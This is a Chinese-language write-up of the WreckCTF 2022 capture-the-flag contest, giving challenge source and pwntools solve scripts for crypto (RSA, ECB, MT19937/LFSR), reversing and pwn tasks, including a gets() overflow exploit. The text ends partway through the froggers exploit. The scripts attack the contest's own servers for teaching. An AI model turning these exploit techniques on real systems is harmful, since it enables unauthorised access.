[WRECKCTF 2022] crypto,reverse,pwn部分WP

祁修平
2023-12-01

国庆两天,一个比较容易的比赛。会的题不少。感觉到自信了。

目录

国庆两天,一个比较容易的比赛。会的题不少。感觉到自信了。

crypto

spin

baby-rsa

mtp

prime

token

rsa

lsfr

reverse

flag-chcker

adwanced-flag-checker

my-frob

reverser

no-peeking

hopper

pwn

login

froggers

list

secret-note

file-note


crypto

spin

签到题,移们加密

with open('flag.txt', 'r') as file:
    plaintext = file.read().strip()

def spin(c, key):
    return chr((ord(c) - ord('a') - key) % 26 + ord('a'))

ciphertext = ''.join(
    spin(c, 43) if 'a' <= c <= 'z' else c
    for c in plaintext
)

with open('ciphertext.txt', 'w+') as file:
    file.write(ciphertext)

#oujp{xkurpjcxah_ljnbja_lryqna}

一切皆可查表法,解

c = 'oujp{xkurpjcxah_ljnbja_lryqna}'

tab1 = ''
tab2 = ''
for i in range(26):
    tab1 += chr((i-43)%26 + ord('a'))
    tab2 += chr(ord('a')+i)

print(tab1, tab2)
flag = ''
for i in c:
    if 'a'<= i <= 'z':
        flag += tab2[tab1.index(i)]
    else:
        flag += i 

print(flag)

 

baby-rsa

RSA题还有这么出的,给了n,p,c看好了,是p

import os
from Crypto.Util.number import bytes_to_long
from Crypto.Util.number import getPrime

flag = os.environ.get('FLAG', 'no flag provided...')
flag = bytes_to_long(flag.encode())

p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
c = pow(flag, e, n)

print(f'n = {n}')
print(f'p = {p}')
print(f'c = {c}')

有p直接写结果 

n = 16967030524502117214404100938261512382476151014953810086457458506775561699741027177109475539121211529814684487395199133801638599985180955338495989569340540376124807821943573280630324881818066744507564756665127210459332444920606486994072129710858139496303833832240535648836812837435101898107375109591298448865096896766383411711200824664445664678845771535439939206180644815510852117001857835603778955859253603587494892843836213881773638034262614536999861164857385629363907454894250540295882187971147536166744476224735521763298209764627356686320122210736490192602850501326898433744416186683178097463922613678659551708913
p = 112938170774939578216646572395872887695843784155521810581759026139441777082668981414130841110435151229821393412015735096194165993689242885701364849407355608664777621193747399866798831020509285147859127962346645901944198309670340274589989755553987121054384691648307853338777947729704797783621352987968380404953
c = 3368698370223657437363956246409070827533162506001921259102069828983434755863382284430154276267297409790119872670804781112016305330950073801884911157804546010154111795543704170801587831489566486566469051334021190261635984576008739988870135676555037073260283576557781498330505383655344806353896492051402660556261952019042918816172190224923806908316787952447009744475852130517418559365436552563392957767628839691411633880727219556601643606771975372751803686173396627207883779445464569870767142834865744494453087393160416188615150825879908393020074220980283645462336483624972560418501642296980186442041991775924025176517
e = 65537

from gmpy2 import invert
phi = (p-1)*(n//p-1)
d = invert(e, phi)
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

mtp

这个不知道应该归到的加密方法叫啥,感觉像是维吉尼亚。先生成256套码表,加密时先按偏移选码表再查表。

#!/usr/local/bin/python -u

import os
import random

LETTERS = set('abcdefghijklmnopqrstuvwxyz')


def encrypt(plaintext, key):
    return ''.join(
        chr(permutation[ord(letter) - ord('a')] + ord('a'))
        if letter in LETTERS
        else letter
        for letter, permutation in zip(plaintext, key)
    )


key = [list(range(26)) for _ in range(256)]
for permutation in key:
    random.shuffle(permutation)


print('Welcome to the Multi-Time Pad!')
while True:
    print('1. Encrypt message')
    print('2. Get flag')
    choice = input('> ')
    match choice:
        case '1':
            plaintext = input('What\'s your message? ')
        case '2':
            plaintext = os.environ.get('FLAG', 'no flag provided!')
        case _:
            print('Invalid choice!')
            continue
    print(f'Result: {encrypt(plaintext, key)}')
#nc challs.wreckctf.com 31239

解法就是先得到码表再解

'''
$ nc challs.wreckctf.com 31239
Welcome to the Multi-Time Pad!
1. Encrypt message
2. Get flag
> 1
What's your message? abcdefghijklmnopqrstuvwxyz
Result: tfinrmeaepnzgqzicdhbpvlcul
1. Encrypt message
2. Get flag
> 2
Result: zqxr{uaqr_nmd_czrpn_opapzzfzqaqtgmkezeq}
'''

from pwn import *

context.log_level = 'debug'

code = 'abcdefghijklmnopqrstuvwxyz'
flag = list('?'*40)

def check(flag):
    for i in flag:
        if i == '?':
            return True
    return False

while check(flag):
    p = remote('challs.wreckctf.com', 31239)

    p.sendlineafter(b'> ', b'2')
    p.recvuntil(b'Result: ')
    c = p.recvline()[:-1].decode()

    tab = ['']*40
    for i,v in enumerate(code):
        p.sendlineafter(b'> ', b'1')
        p.sendlineafter(b'message? ', (v*40).encode())
        mm = p.recvline()[:-1].decode()[-40:]
        for j in range(40):
            tab[j] += mm[j]
    
    print(tab)
    print(c)
    p.close()
    for i,v in enumerate(c):
        if flag[i] == '?':
            if 'a' <= v <= 'z':
                if v in code:
                    flag[i] = code[tab[i].index(v)]
            else:
                flag[i] = v 
    print(''.join(flag))

print(''.join(flag))   
'''
['qsnmdexyhuiclfpwvjbtorzakg', 'zqifnercvatgowsdybukhlmxpj', 'fnduwsgypeaxhjkvtmqcrbzilo', 'grhoiakpuysfemzdncbtwlqxvj', 'yckipxtbsrajhqevwfodmgnzlu', 'wadftnlgrmjseihcuzpyoxbvkq', 'altjhmqzcvpsobdxwfgeirkuyn', 'gabuekzmqpvficwtdhxrolsnyj', 'kchxdjvsgaupzmqiywfbtonrel', 'ptulxjzyiqmsacrbkvwnohdgfe', 'oshkluxqngizmwtvpbayredjcf', 'rswbftanlohqkmpgxevyzuicdj', 'uikdptgocalfnjsbemrzwqhvyx', 'gscnayvpjfuqkhziwtemxoldbr', 'xlmbvngzhiacwqjkfrsodyutpe', 'pkevcywqtlmdsbznuirjxohgaf', 'slmyhrpiwcnvkodabqgxjzufte', 'hotwumqeplbfvzasidnjgcxkyr', 'ntwsfkvbydcipzjeurolamxgqh', 'vnpzgyfcalqekouhbjrtdmwsxi', 'ndpktijqgavrwyfzsebmcuhlxo', 'aondiwsegfqjrxbmlyczthkuvp', 'pcdjngksfozhqrevaulxwtimby', 'mwnqxhiuvredglsyajktfbpzco', 'zxblyumafndcwikgpovjqehsrt', 'suhvnawxyltfmgczerojdipbkq', 'tcrvnwyklmabpedgqhjuzsfoix', 'oejknphbwxaziqlsryufvmdgct', 'hwilpymtdqskgarezfnxubovcj', 'roekgbmqdyvlcufzwanxsipthj', 'yrtlqvuiaehgswzxmofckbjndp', 'trlksaqnuwioydzvxmegpcjbfh', 'jorsvegixhuwbfacdznlptqkmy', 'rsfahtjzneubdmvgwqckyloipx', 'oqtecrjdazfykvlmbuwsngxhpi', 'pvyzsftxbmqarjkgiduowclnhe', 'fvkugqyacehnxomtilbdzrwsjp', 'hzkjsxmatqglndvbrfepwcoyiu', 'lmqzwkpiavndfsoctjhrugyexb', 'raiynzmfwbjvltsxdchuogqpek']
egfk{hdtf_ify_rcjnf_dkdrgevdpftouoyvhvq}
''' 
#flag{oops_key_reuse_bwcjpqdweoclkwlbkoc}    

 

prime

脑筋需要转弯了,题目要求是输入一个1020-1028位之间的数,1000之内没有1以外的因子,并且用伪素数测试通过,并且有70个互质因子(输入)这个当时没想明白,睡醒后突然想到1可以满足gcd==1的要求。那么就不需要找伪素数了(数学家都干不出来,咱就别想了)

伪素数:费马有个式子,所有素都都满足 a**(n-1)%n == 1 (a ∈[1,n-1)),但满足的不一定是素数,这个很难找。

#!/usr/local/bin/python

import random
import math
with open ("flag.txt", "r") as f:
    flag = f.read()
n = int(input(">> "))
n_len = n.bit_length()
if n_len<1020 or n_len>1028:
    print("no.")
    quit()
for i in range(2,1000):
    if n%i==0:
        print("no.")
        quit()

#费马小定理 对伪素数也成立
if all([pow(random.randrange(1,n), n-1, n) == 1 for i in range(256)]):
    a = []
    for _ in range(70):
        a.append(int(input(">> ")))
    if all([n%i==0 for i in a]):
        for i in range(len(a)):
            for j in range(i+1, len(a)):
                if math.gcd(a[i],a[j])!=1:
                    print(a[i],a[j])
                    print("no.")
                    quit()
        print(flag)
    else:
        print("no.")
        quit()
#nc challs.wreckctf.com 31273

直接弄个素数,然后再输入70个1就行了

from pwn import *
from Crypto.Util.number import getPrime

p = remote('challs.wreckctf.com', 31273)
context.log_level = 'debug'

n = getPrime(1026)

p.sendlineafter(b'>> ', str(n).encode())
for i in range(70):
    p.sendlineafter(b'>> ', b'1')

p.recvline()

#flag{yep_it's_definitely_prime}

 

token

AES ECB模式加密,刚作了一个OFB模式的,大概都看过。ECB模式没有反馈,所以明文和密文有一一对应关系。

题目要求输入gary的密文,但不能输入gary求,所以可以求a*16+gary,然后第二个分且就是gary的

#!/usr/local/bin/python

import os
import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad

KEY = ''.join(random.choice('0123456789abcdef') for _ in range(32)).encode()

def encrypt(name):
    cipher = AES.new(KEY, AES.MODE_ECB)
    return cipher.encrypt(pad(name.encode(), AES.block_size)).hex()

def decrypt(ciphertext):
    cipher = AES.new(KEY, AES.MODE_ECB)
    result = unpad(cipher.decrypt(bytes.fromhex(ciphertext)), AES.block_size)
    return result.decode()

print('welcome to the flag viewer!')
while 1:
    print('1. view flag')
    print('2. generate token')

    value = input('> ')
    if value == '1':
        token = input('token: ')
        try:
            name = decrypt(token)
        except ValueError:
            print('invalid token')
            continue
        if name == 'gary':
            print(os.environ.get('FLAG', 'no flag provided.'))
        else:
            print('sorry, only gary can view the flag')
    elif value == '2':
        name = input('name: ')
        if name == 'gary':
            print('nice try!')
        else:
            print(f'here\'s your token: {encrypt(name)}')
    else:
        print('unknown input!')

#nc challs.wreckctf.com 31522

解法

from pwn import *

p = remote('challs.wreckctf.com', 31522)
context.log_level = 'debug'

p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'name: ', b'A'*16 + b'gary')

token = p.recvline()[:-1][-32:]
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'token: ', token)

p.recvline()
'''
gary

aaaaaaaaaaaaaaaagary
428b38f59c7b4dba890d0aa09c63f246778543e572867e0f863b839dd37b0ad7
flag{gary_gary_gary_gary_gary_gary}
'''

 

rsa

一道真正的rsa的题,可以输入密文返回明文。然后要求输入明文能得到指定的密文。本来以为没啥,可这里有个

坑:输入是bytes,会被encode('utf-8'),这样一个比较乱的bytes就无法通过。

#!/usr/local/bin/python

from Crypto.Util.number import *
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
flag = open('flag.txt', 'rb').read()
d = inverse(e, (p-1)*(q-1))

pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"

def enc(m):
    if pandaman == m:
        return "No :("
    else:
        return pow(bytes_to_long(m), d, n)

def check():
    if long_to_bytes(pow(int(input("Enter here: ")), e, n)) == pandaman:
        print(flag)
    else:
        print("darn :(")

def menu():
    print("1. Encrypt")
    print("2. Check")
    print("3. Exit")
    return input(">> ")

while True:
    choice = menu()
    if choice == "1":
        pt = input("Enter String: ")
        print(enc(pt.encode('utf-8')))
    elif choice == "2":
        check()
    elif choice == "3":
        break
    else:
        print("Invalid choice")

#nc challs.wreckctf.com 31745

绕坑的方法是输入2**e*c这个会比n大,但没说过输入c解密时c一定要比n小,只是见过的题都比n小,因为c是经过%n得到的,这里其实输入的并不c而是与c能得到相同m的值。

from math import gcd 
from Crypto.Util.number import *
from gmpy2 import invert 
from pwn import *

pandaman = b"PANDAMAN! I LOVE PANDAMAN! PANDAMAN MY BELOVED! PANDAMAN IS MY FAVORITE PERSON IN THE WHOLE WORLD! PANDAMAN!!!!"
e = 65537


p = remote('challs.wreckctf.com', 31745)

def get_m(c):
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b'Enter String: ', long_to_bytes(c))
    return int(p.recvline())

'''
def get_m(c):
    return enc(long_to_bytes(c))

def enc(m):
    if pandaman == m:
        return "No :("
    else:
        return pow(bytes_to_long(m), d, n)

    
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
d = inverse(e, (p-1)*(q-1))
m = pow(bytes_to_long(pandaman), d, n)
print('n = ', n)
print('m = ', m) #pandaman 的明文
print('c = ', (m*2)%n)
print('m = ', pow(pow((m*2)%n,e,n),d,n))
'''
context.log_level = 'debug'

m1 = get_m(53)
m2 = get_m(59)
m3 = get_m(67)

n = gcd(gcd(m1**e - 53, m2**e - 59),m3**e-67)  #sage

c1 = (2**8)**e * bytes_to_long(pandaman)
#print('c1 = ', c1)  #0x100*m

m3 = get_m(c1)
m3 = int(m3 * invert(2**8, n) % n)

print(m3)
print(long_to_bytes(pow(m3,e,n))) #== pandaman

p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Enter here: ', str(m3).encode())

p.recvline()
p.interactive()
#flag{dan_likes_moes}

 可能好多东西没用,这里的n,题目没有提供n但求明文需要,当这个明文不需要,这里写多了。而且由于n需要用到gcd所以在sage里才能快速解出。

lsfr

这题直接用到一个pylfrs库进行加密。库下下来后发现只是进行位异或。

将fpoly中偏移的位异或得到新位插在队尾,从队头开始输出。

解密就直接用得到的位(c xor key)得到加密输出,然后一直向前用fpoly(去掉32加上0)异或得到上一个output加到队尾。这样就能得到state

state是由getrandbits(32)得到,这题就转化为通过梅森旋转预测下一个随机数。

解法就是先取得624个密文和flag的密文,求出flag所用的state再解密

#!/usr/local/bin/python

import random
from pylfsr import LFSR

with open ("flag.txt", "r") as f:
    flag = f.read()

def enc(plaintext):
    r = random.getrandbits(32)
    state = [int(i) for i in list(bin(r)[2:].zfill(32))]
    plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])
    l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)
    for i in range(0x1337):
        l.next()
    key = []
    for i in range(len(plaintext)):
        key.append(l.next())
    return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])

def menu():
    print("1. Encrypt Random String")
    print("2. Encrypt Flag")
    print("3. Exit")
    return input(">> ")

while True:
    choice = menu()
    if choice == "1":
        pt = input("Enter String: ")
        if len(pt)!=16:
            print("Invalid String Length")
            continue
        print(enc(pt))   #获得0x1337后的16*8个状态, ?倒推出r  根据624个r预测下一个,得到flag加密时r
    elif choice == "2":
        print(enc(flag))
        break
    elif choice == "3":
        break
    else:
        print("Invalid choice")

#nc challs.wreckctf.com 31310

解法

先获取数据,网站会断,在线算可能会很麻烦,先得到到数据再慢慢算

from pwn import *

p = remote('challs.wreckctf.com', 31310)
context.log_level = 'debug'

def get_r():
    p.sendlineafter(b'>> ', b'1')
    p.sendlineafter(b"Enter String: ", b'\x00'*16)
    return p.recvline()

fp = open('data.txt', 'wb')
for i in range(624):
    fp.write(get_r())

p.sendlineafter(b'>> ', b'2')
fp.write(p.recvline())

sleep(1)
fp.close()
p.close()

 然后再解密

from pwn import *
from random import Random, getrandbits
from Crypto.Util.number import long_to_bytes
from pylfsr import LFSR

'''  梅森旋转  '''
def invert_right(m,l,val=''):
    length = 32
    mx = 0xffffffff
    if val == '':
        val = mx
    i,res = 0,0
    while i*l<length:
        mask = (mx<<(length-l)&mx)>>i*l
        tmp = m & mask
        m = m^tmp>>l&val
        res += tmp
        i += 1
    return res

def invert_left(m,l,val):
    length = 32
    mx = 0xffffffff
    i,res = 0,0
    while i*l < length:
        mask = (mx>>(length-l)&mx)<<i*l
        tmp = m & mask
        m ^= tmp<<l&val
        res |= tmp
        i += 1
    return res

def invert_temper(m):
    m = invert_right(m,18)
    m = invert_left(m,15,4022730752)
    m = invert_left(m,7,2636928640)
    m = invert_right(m,11)
    return m

def clone_mt(record):
    state = [invert_temper(i) for i in record]
    gen = Random()
    gen.setstate((3,tuple(state+[0]),None))
    return gen

''' 改造后的求state  '''

def enc(r, plaintext):
    state = [int(i) for i in list(bin(r)[2:].zfill(32))]
    plaintext = list([int(j) for j in ''.join(format(ord(i), 'b').zfill(8) for i in plaintext)])
    l = LFSR(fpoly=[32,26,20,11,8,5,3,1], initstate=state)
    for i in range(0x1337):
        l.next()
    key = []
    for i in range(len(plaintext)):
        key.append(l.next())
    return "".join([str(plaintext[i]^key[i]) for i in range(len(plaintext))])

def mdec(v):
    v = [int(i) for i in v][::-1]
    ppoly=[26,20,11,8,5,3,1,0]
    for _ in range(0x1337):
        t = 0
        for i in ppoly:
            t ^=v[i]
        v = v[1:]+[t]
        #print(v)
    return int(''.join([str(i) for i in v]) ,2)

'''
r = getrandbits(32)
print(r, bin(r)[2:].zfill(32)[::-1])
v = enc(r, chr(0)*16)
print(v)
a = mdec(v[:32])
print(a, bin(a)[2:].zfill(32))
'''

data = open('data.txt').read().split('\n')

prng = []
for _ in range(624):
    prng.append(mdec(data[_][:32]))
    
g = clone_mt(prng[:624])
for _ in range(625):
    k = g.getrandbits(32)

print(k)

c = enc(k, chr(0)*25)
cb = long_to_bytes(int(c, 2))
ca = long_to_bytes(int(data[624], 2))
print(xor(ca,cb))

reverse

flag-chcker

直接给了顺序打乱的片段

  if ( strlen(s) != 40 )
    bad();
  if ( strncmp(v14, "d94", 3uLL) )
    bad();
  if ( strncmp(v6, "db_", 3uLL) )
    bad();
  if ( strncmp(v10, "35t", 3uLL) )
    bad();
  if ( strncmp(v8, "y0u", 3uLL) )
    bad();
  if ( strncmp(v7, "1s_", 3uLL) )
    bad();
  if ( strncmp(v13, "d_6", 3uLL) )
    bad();
  if ( strncmp(v5, "g{g", 3uLL) )
    bad();
  if ( strncmp(v11, "_fr", 3uLL) )
    bad();
  if ( v16[3] != 125 )
    bad();
  if ( strncmp(v12, "13n", 3uLL) )
    bad();
  if ( strncmp(v16, "fa6", 3uLL) )
    bad();
  if ( strncmp(v9, "r_b", 3uLL) )
    bad();
  if ( strncmp(v15, "620", 3uLL) )
    bad();
  if ( strncmp(s, "fla", 3uLL) )
    bad();

直接手工组合

s 5  6  7  8  9  10 11 12 13 14 15 16
flag{gdb_1s_y0ur_b35t_fr13nd_6d94620fa6}

 

adwanced-flag-checker

32位程序需要手工算

  v0 = sys_write(1, &unk_80491DF, 0x11u);
  v1 = sys_read(0, &unk_8049234, 0x29u);
  *(_BYTE *)(v2 + 40) = 0;
  if ( (*(_DWORD *)v2 ^ 0x558C4DC) == 1647945914
    && (*(_DWORD *)(v2 + 4) ^ 0x71100C9B) == 25126112
    && (*(_DWORD *)(v2 + 8) ^ 0xCE3D1DDE) == -1589361989
    && (*(_DWORD *)(v2 + 12) ^ 0x322958FC) == 1096550281
    && (*(_DWORD *)(v2 + 16) ^ 0x8CBE8F4E) == -152966357
    && (*(_DWORD *)(v2 + 20) ^ 0xB14A374B) == -567515016
    && (*(_DWORD *)(v2 + 24) ^ 0xEE9707A) == 1721577224
    && (*(_DWORD *)(v2 + 28) ^ 0xF98DDD38) == -925716911
    && (*(_DWORD *)(v2 + 32) ^ 0x5D715F4D) == 1813145471
    && (*(_DWORD *)(v2 + 36) ^ 0x410B9F90) == 1010629539 )
  {
    v3 = sys_write(1, &unk_804920B, 0x29u);
    v4 = sys_exit(0);
  }
  v5 = sys_write(1, &unk_80491F0, 0x1Bu);
  v6 = sys_exit(1);

from pwn import *

s = [0x558C4DC,1647945914,
0x71100C9B,25126112,
0xCE3D1DDE,-1589361989,
0x322958FC,1096550281,
0x8CBE8F4E,-152966357,
0xB14A374B,-567515016,
0xEE9707A,1721577224,
0xF98DDD38,-925716911,
0x5D715F4D,1813145471,
0x410B9F90,1010629539]

flag = b''
for i in range(0, len(s), 2):
    f = (s[i]^s[i+1])&0xffffffff
    flag +=p32(f)

print(flag)

 

my-frob

异或加密

__int64 __fastcall my_memfrob(__int64 a1, unsigned __int64 a2, char a3)
{
  __int64 result; // rax
  int i; // [rsp+20h] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( a2 <= i )
      break;
    *(_BYTE *)(i + a1) ^= a3;
  }
  return result;
}
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // rcx
  char v5; // [rsp+Fh] [rbp-11h]
  char *s; // [rsp+10h] [rbp-10h]
  unsigned int v7; // [rsp+18h] [rbp-8h]
  int v8; // [rsp+1Ch] [rbp-4h]

  s = (char *)load_flag(argc, argv, envp);
  v8 = 1;
  v7 = 1;
  while ( v7 != 233 )
  {
    v3 = strlen(s);
    my_memfrob(s, v3, v7);
    v5 = v7;
    v7 += v8;
    v8 = v5;
  }
  print(s);
  return 0;
}

按原样再异或一次

s = bytes.fromhex('afa5a8aeb2a5a0a7bcb196baa1a6bca5ad96a8adad96a4b096a4aca4afbba6abb4')
s = [i for i in s]

v8 = 1
v7 = 1
while v7 != 233:
    s = [i^v7 for i in s]
    v5 = v7 
    v7 += v8
    v8 = v5 

print(bytes(s))

 

reverser

每次移位后生成新的偏移

#!/usr/local/bin/python

import os

def check_license(license):
    characters = set('0123456789abcdef')
    s = [9]
    for c in license:
        if c not in characters:
            return False
        s.append((s[-1] + int(c, 16)) % 16)
    target = '51c49a1a00647b037f5f3d5c878eb656'
    return ''.join(f'{c:x}' for c in s[1:]) == target

print('welcome to reverser as a service!')
license = input('please enter your license key: ')

if not check_license(license):
    print('sorry, incorrect key!')
    exit()

string = input('what should i reverse? ')
print(f'output: {string[::-1]}')
print(os.environ.get('FLAG', 'no flag given'))

#nc challs.wreckctf.com 31706

解法

def check_license(license):
    characters = set('0123456789abcdef')
    s = [9]
    for c in license:
        if c not in characters:
            return False
        s.append((s[-1] + int(c, 16)) % 16)
    target = '51c49a1a00647b037f5f3d5c878eb656'
    return ''.join(f'{c:x}' for c in s[1:]) == target

s = '951c49a1a00647b037f5f3d5c878eb656'
license = ''
for i in range(32):
    c = ( int(s[i+1], 16) - int(s[i],16) )%16
    license += hex(c)[2:]

print(license)
print( check_license('ccb85179606e3453486a4a87cf16dbf1') )

'''
$ nc challs.wreckctf.com 31706
welcome to reverser as a service!
please enter your license key: ccb85179606e3453486a4a87cf16dbf1
what should i reverse? 1
output: 1
flag{clock_math_too_hard}
'''

 

no-peeking

这题很恶心,需要手工去花,很多

LOAD:080480DE                                                                       ; LOAD:080480D9↑j
LOAD:080480DE 66 8B 59 08                   mov     bx, [ecx+8]
LOAD:080480E2 66 81 F3 DA EA                xor     bx, 0EADAh
LOAD:080480E7 66 81 C3 0D FE                add     bx, 0FE0Dh
LOAD:080480EC 66 81 FB B7 8D                cmp     bx, 8DB7h
LOAD:080480F1 0F 85 68 02 00 00             jnz     loc_804835F
LOAD:080480F1
LOAD:080480F7 71 03                         jno     short loc_80480FC
LOAD:080480F7
LOAD:080480F9 70 01                         jo      short loc_80480FC
LOAD:080480F9
LOAD:080480FB 90                            nop    <--- nop后就能看了

然后把数抄下来运算


flag = ''
def addflag(v):
    global flag 
    flag +=chr(v&0xff)+chr(v>>8)
#+8
v8 = ((0x8db7 - 0xfe0d)^0xeada)&0xffff
v6 = ((0x520d - 0xfe67)^0xc96)& 0xffff
v0 = ((0x5eca - 0xfd96)^0xd52)& 0xffff
v2 = ((0x3e3c - 0x198)^0x5bc5)& 0xffff
v12 = ((0xb4c8 - 0xfc9b)^0xd644)& 0xffff
v14 = ((0x99aa - 0x3ae)^0xb49b)& 0xffff
v4 = ((0xbd0f - 0xff06)^0xd072)& 0xffff
v10 = ((0x17ce - 0xa6)^0x7c4d)& 0xffff
v20 = ((0x210d - 0xfefc)^0x4e7d)& 0xffff
v22 = ((0x19df - 0xfe39)^0x44df)& 0xffff
v16 = ((0x1898 - 0x315)^0x67dc)& 0xffff
v26 = ((0x46cf - 0x3e0)^0x7182)& 0xffff
v28 = ((0xb56c - 0xf6)^0xda17)& 0xffff
v18 = ((0xccb1 - 0x1c9)^0xab8d)& 0xffff
v32 = ((0xfeba - 0x28)^0xa1e6)& 0xffff
v34 = ((0x7f56 - 0xfe47)^0xb338)& 0xffff
v36 = ((0x308a - 0x3d8)^0x4ed6)& 0xffff
v38 = ((0xb936 - 0x2ff)^0xcb0f)& 0xffff
v24 = ((0x35cd - 0xe8)^0x6b8c)& 0xffff
v30 = ((0x1732 - 0x243)^0x7db0)& 0xffff

addflag(v0)
addflag(v2)
addflag(v4)
addflag(v6)
addflag(v8)
addflag(v10)
addflag(v12)
addflag(v14)
addflag(v16)
addflag(v18)
addflag(v20)
addflag(v22)
addflag(v24)
addflag(v26)
addflag(v28)
addflag(v30)
addflag(v32)
addflag(v34)
addflag(v36)
addflag(v38)


print(flag)

 

hopper

这是一个4*4的拼板问题,可惜没有现成的程序,不过好在题目是固定的,这样手工玩一把会比写程序快。

#!/usr/local/bin/python

import os


def do_hop(state):
    hopper = state['hopper']
    line = state['line']

    hops = [
        (hopper - 4, hopper >= 4),
        (hopper - 1, hopper % 4 != 0),
        (hopper + 1, hopper % 4 != 3),
        (hopper + 4, hopper < 12),
    ]

    hoppees = { line[hop]: hop for hop, legal in hops if legal }
    people = ', '.join(hoppees)

    print('oh no! the order of the line is wrong!')
    print(f'you can hop with {people}.')
    hoppee = input('who do you choose? ')

    if hoppee not in hoppees:
        print('can\'t hop there!')
        return

    target = hoppees[hoppee]
    line[hopper], line[target] = line[target], line[hopper]
    state['hopper'] = target


def fixed(state):
    position = { hoppee: i for i, hoppee in enumerate(state['line']) }
    if position['olive'] > position['olen']:
        return False
    if position['shauna'] > position['constance']:
        return False
    if position['zane'] > position['tracie']:
        return False
    if position['loretta'] > position['chasity']:
        return False
    if position['gracie'] > position['shauna']:
        return False
    if position['tracie'] > position['louie']:
        return False
    if position['bertram'] > position['antoinette']:
        return False
    if position['antoinette'] > position['dana']:
        return False
    if position['constance'] > position['bertram']:
        return False
    if position['louie'] > position['wes']:
        return False
    if position['olen'] > position['hopper']:
        return False
    if position['wes'] > position['loretta']:
        return False
    if position['chasity'] > position['olive']:
        return False
    if position['rosemarie'] > position['gracie']:
        return False
    if position['dana'] > position['zane']:
        return False
    return True
# 0          1      2       3        4        5        6     7     8     9   10  11       12     13     14   15
'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'

state = {
    'hopper': 0,
    'line': [
        'hopper',
        'wes',
        'gracie',
        'zane',
        'constance',
        'rosemarie',
        'shauna',
        'chasity',
        'louie',
        'tracie',
        'dana',
        'olen',
        'olive',
        'loretta',
        'bertram',
        'antoinette',
    ],
}

while not fixed(state):
    do_hop(state)

print(os.environ.get('FLAG', 'no flag provided!'))

#nc challs.wreckctf.com 31714

手工作出后上传结果

s = 'rosemarie,gracie,shauna,constance,bertram,antoinette,dana,zane,tracie,louie,wes,loretta,chasity,olive,olen,hopper'.split(',')

#手工玩一把记录结果
w = [10,0,3,10,0,1,7,12,2,6,8,3,6,8,3,6,8,3,14,2,12,7,3,14,2,12,14,2,12,14,7,3,2,12,4,5,14,7,12,4,5,11,13,9,10,8,4,5,6,10,8,4,5,12,7,14,11,6,12,7,14,12,6,11,12,14,7,6,11,12,14,11,10,13,9,8,13,9,12,14,11,10,9,13,8,12,13,9,10,11]

from pwn import *

p = remote('challs.wreckctf.com', 31714)

context.log_level = 'debug'

for i in w:
    v = s[i]
    #p.sendlineafter(b'who do you choose? ', v.encode())
    p.sendline(v.encode())

p.recvall()

 

pwn

login

直接给了源码,很明显在输入password里会覆盖到accurate

// gcc -o challenge challenge.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>
#include <string.h>

bool load_password(char *password) {
  FILE *fp;
  if ((fp = fopen("password.txt", "r")) == NULL)
	return false;

  if (fread(password, 1, 15, fp) != 15)
	return false;

  password[15] = 0;
  fclose(fp);

  return true;
}

void print_flag() {
  FILE *fp = fopen("flag.txt", "r");
  if (fp == NULL)
	return;

  fseek(fp, 0, SEEK_END);
  long fsize = ftell(fp);
  fseek(fp, 0, SEEK_SET);

  char flag[fsize + 1];
  flag[fsize] = 0;

  fread(flag, 1, fsize, fp);
  puts(flag);

  fclose(fp);
}

int main() {
  char password[16];
  char accurate[16];

  if (!load_password(accurate))
	return 1;

  puts("Input password");
  fflush(stdout);
  gets(password);

  if (strcmp(password, accurate) == 0)
	print_flag();
  else
	puts("Sorry, incorrect password\n");
  fflush(stdout);
}

直接覆盖

from pwn import *

p = remote('challs.wreckctf.com', 31009)
context.log_level  = 'debug'

p.sendline(b'\x00'*32)
print(p.recvall())

 

froggers

外国题就是好,直接给源码,溢出很小写不了rop,但有后门写frog,coin

// compiled with gcc -fno-stack-protector -o challenge challenge.c

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <stdbool.h>

bool frog = false;
bool coin = false;
bool wallet_supports_frog_coin = false;

void lilypad(char *buffer) {
  fgets(buffer, 40, stdin);
}

void set_frog() {
  puts("Setting frog...");
  frog = wallet_supports_frog_coin;
  if (frog)
    puts("Frog set!");
  fflush(stdout);
}

void set_coin() {
  puts("Setting coin...");
  coin = frog;
  if (coin)
    puts("Coin set!");
  fflush(stdout);
}

void froggers(char *name) {
  printf("Hi %s", name);

  if (frog && coin) {
    FILE *fp = fopen("flag.txt", "r");
    if (fp == NULL)
      return;

    fseek(fp, 0, SEEK_END);
    long fsize = ftell(fp);
    fseek(fp, 0, SEEK_SET);

    char flag[fsize + 1];
    flag[fsize] = 0;

    fread(flag, 1, fsize, fp);

    if (!frog || !coin) {
      puts("Frogger error!");
      fflush(stdout);
      exit(1);
    }

    printf("%s\n", flag);

    fclose(fp);
  } else {
    puts("Your wallet doesn't have frog coins!");
  }
  fflush(stdout);
}

int main() {
  printf("Hey I'm %p, what's your name?\n", main);
  fflush(stdout);

  char name[16];  //溢出
  lilypad(name);

  froggers(name);

  if (!wallet_supports_frog_coin) {
    wallet_supports_frog_coin = true;
  }

  return 0;
}

利用溢出调用后门。第2次调用后会有1字节偏移,没搞明白,但gdb可以看到。第2次调整下偏移即可。

from pwn import *

p = remote('challs.wreckctf.com', 31824)
#p = process('./pwn')

elf = ELF('./pwn')

context(arch='amd64', log_level = 'debug')

#gdb.attach(p, 'b main')
#pause()


